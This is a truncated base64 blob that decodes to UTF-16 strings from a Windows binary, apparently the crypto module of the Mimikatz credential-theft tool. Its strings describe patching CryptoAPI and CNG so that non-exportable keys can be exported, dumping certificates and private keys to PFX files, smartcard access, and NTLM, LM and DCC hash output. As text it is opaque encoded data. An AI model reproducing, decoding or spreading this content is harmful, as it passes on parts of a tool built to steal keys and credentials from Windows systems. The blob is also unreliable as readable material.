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AZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAAIAAgACAAIAAlAFMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAAAAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAACAAIAAgACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAUgBTAEEAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAQwBOAEcAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABmAHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwB2AHQAeQBwAGUAZgByAG8AbQBuAGEAbQBlACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEMAYQByAGQAJABBAGwAbABSAGUAYQBkAGUAcgBzAAAAAAAAAAAAUwBtAGEAcgB0AEMAYQByAGQAIAByAGUAYQBkAGUAcgBzADoACgAAAAoAIAAqACAAJQBzAAoAAAAgACAAIAAgAEEAVABSACAAIAA6ACAAAAAgACAAIAAgAE0AbwBkAGUAbAA6ACAAJQBzAAoAAAAAACAAIAAgACAAQwBTAFAAIAAgADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAQwBhAHIAZABzADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABHAGUAdABBAHQAdAByAGkAYgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQAQwBvAG4AbgBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAUgBlAGEAZABlAHIAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABFAHMAdABhAGIAbABpAHMAaABDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAABbACUAMAA0AHgALwAlAHgAXQAgACUAcwAKAAAAIAAgAAAAAAAAAAAAUAByAG8AdgBpAGQAZQByACAAaQBuAGYAbwA6AAoAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHMAeQBzAHQAZQBtACAAOwAgAEkAbgBwAHUAdAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAHkAcAB0AG8AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AZgBpAGwAZQA6AGYAaQBsAGUAbgBhAG0AZQB8AGQAaQByAGUAYwB0AG8AcgB5ACkACgAAAGMAcgBsAAAAYwB0AGwAAABrAGUAeQBpAGQAAAAAAAAARABhAHQAYQA6ACAAAAAAACUAcwAuACUAcwAAAAAAAABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlADoAIAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZgBpAGwAZQBfAHIAYQB3AEQAYQB0AGEAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAXwBxAHUAaQBjAGsARQBuAGMAbwBkAGUAIAA7ACAAQwByAHkAcAB0AEUAbgBjAG8AZABlAE8AYgBqAGUAYwB0ACAAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8AcQB1AGkAYwBrAEUAbgBjAG8AZABlACAAOwAgAEMAcgB5AHAAdABFAG4AYwBvAGQAZQBPAGIAagBlAGMAdAAgACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAADEuMy42LjEuNC4xLjMxMS4yMC4yLjMAADIuNS4yOS4xNwAAAAAAAAAyLjUuMjkuMTUAAAAAAAAAMi41LjI5LjM3AAAAAAAAADIuNS40LjMAMi41LjQuMTAAAAAAAAAAADIuNS40LjYARgBSAAAAAABMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAAAAAAGMAYQBzAHQAbwByAGUAAABjAGEAbgBhAG0AZQAAAAAAdQBwAG4AAABDAEEAIABzAHQAbwByAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABDAEEAIABuAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABDAEEAIAB2AGEAbABpAGQAaQB0AHkAIAAgACAAIAA6ACAAAAAAAAAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAVQBQAE4AOgAgACUAcwAKAAAAAAAAAAAAMS4zLjYuMS41LjUuNy4zLjIAAAAAAAAAMS4zLjYuMS40LjEuMzExLjIwLjIuMgAASwBlAHkAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAAAAAAAAAAASwBlAHkAIABwAHIAbwB2AGkAZABlAHIAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAAUAByAGkAdgBhAHQAZQAgAEUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAlAHMACgAAAAAAAAAAAAAAAAAAAFAAcgBpAHYAYQB0AGUAIABTAHQAbwByAGUAIAAgADoAIABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAvAE0AeQAgAC0AIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABTAGkAZwBuAEEAbgBkAEUAbgBjAG8AZABlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBBAG4AZABFAG4AYwBvAGQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGkAbgBpAHQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwByAHkAcAB0AEUAeABwAG8AcgB0AFAAdQBiAGwAaQBjAEsAZQB5AEkAbgBmAG8AIAAoAGQAYQB0AGEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABFAHgAcABvAHIAdABQAHUAYgBsAGkAYwBLAGUAeQBJAG4AZgBvACAAKABpAG4AaQB0ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQARwBlAG4ASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAbABlAHQAZQAgAHQAZQBtAHAAIABrAGUAeQBzAGUAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB